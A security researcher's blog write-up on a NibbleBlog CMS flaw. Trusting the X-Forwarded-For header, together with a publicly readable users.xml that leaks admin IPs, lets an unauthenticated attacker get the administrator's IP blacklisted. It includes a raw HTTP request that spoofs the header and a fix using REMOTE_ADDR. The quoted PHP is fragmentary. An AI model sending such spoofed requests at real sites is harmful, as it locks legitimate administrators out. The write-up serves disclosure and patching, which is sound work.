How it happens?

I was surfing on the net and i was looking for a responsive / easy-to-use CMS framework in order to bringing
my blog to life! with a bit of luck i found a CMS called NibbleBlog, it was XML based (nice feature!), lightweight and
it was jsut perfect in order to start a blog!

Since i'm a security researcher before put anything on my server i want always perform a vulnerability assessment in order to better know how secure it was :D, after some hours of researching and much false positive i found a really intresting feature called blacklist, it allows to block certain client by ip address, it's a very useful feature to prevent spam.

Where troubles begins

As any other modern CMS NibbleBlog was provided with a Dashboard used by the Administrator to edit/add/modify contents. this Dashboard was protected by authentication, below the code from login.class.php

     * Verify the username and password are correct
     * Parameters
     ** username
     ** password
    public function verify_login($args)
        // Check the file FILE_SHADOW=shadow.php
            return false;


        // Check empty username and password
            // Check username
                // Generate the password hash
                $hash = sha1($args['password'].$_USER[0]['salt']);

                // Check password
                    $this->db_users->set(array('username'=>$args['username'], 'session_fail_count'=>0, 'session_date'=>time()));

                    $this->set_login(array('id_user'=>0, 'username'=>$args['username']));

                    return true;

        // Set brute force

        // Increment the failed count and last failed session date
        $user = $this->db_users->get(array('username'=>$args['username']));
        $count = $user['session_fail_count'] + 1;
        $this->db_users->set(array('username'=>$args['username'], 'session_fail_count'=>$count, 'session_date'=>time()));

        return false;

As we can see from the above code whenever admin try to login usign a bad password an integer is incremented and when it reach the value of 5 the blacklist is automatically triggered.

In order to ban a client NibbleBlog need to get the right IP from a client even if it's behind a proxy, this is done in the file net.class.php, below the code

    public static function get_user_ip()
            $ip = getenv('HTTP_X_FORWARDED_FOR');
            $ip = getenv('HTTP_CLIENT_IP');
            $ip = getenv('REMOTE_ADDR');

        if(filter_var($ip, FILTER_VALIDATE_IP))
            return $ip;

        return getenv('REMOTE_ADDR');

This seems to be pretty secure due to the usage of filter_var function, anyway if we use a valid IP into X-Forwarded-For header we are able to spoof any random IP address!. Any unauthenticated user can trigger this piece of code, in order to succesfully exploit the attack we also need a valid ip address to spoof (why not the admin one!). NibbleBlog is shipped with a weak configuration which allow allow to spoof content of xml files simply by browsing them, below a real life example Image description The following content is reachable at /content/private/users.xml and contains all failed user login attempt even if they are not banned, now we all know that al least once we use the wrong password so you have a 50% chance that admin ip address is there!


With all of these info in mind we can start our attack, in order to do this we must try to login 6 times with a bad password using header X-Forwarded-For with a spoofed IP like below

POST /admin.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:40.0) Gecko/20100101 Firefox/40.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
X-Forwarded-For: IP_TO_SPOOF
Cookie: PHPSESSID=845368fc42fccdc71d99dd094f8620dc
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 27


After the fifth request we will se the following message, this means that the attack was successful!
Nibbleblog security error - Blacklist protection
The fix for this vulnerability is pretty easy, just modify the following lines

File: db_users.class.php 
Line: 45
$ip = Net::get_user_ip();
$ip = getenv("REMOTE_ADDR");
File: db_users.class.php 
Line: 71
$ip = Net::get_user_ip();
$ip = getenv("REMOTE_ADDR");

The End

I hope you enjoyed this small and trivial write-up!


Tags  |  exploit |  ip |  nibbleblog  |   |  Daniele Linguaglossa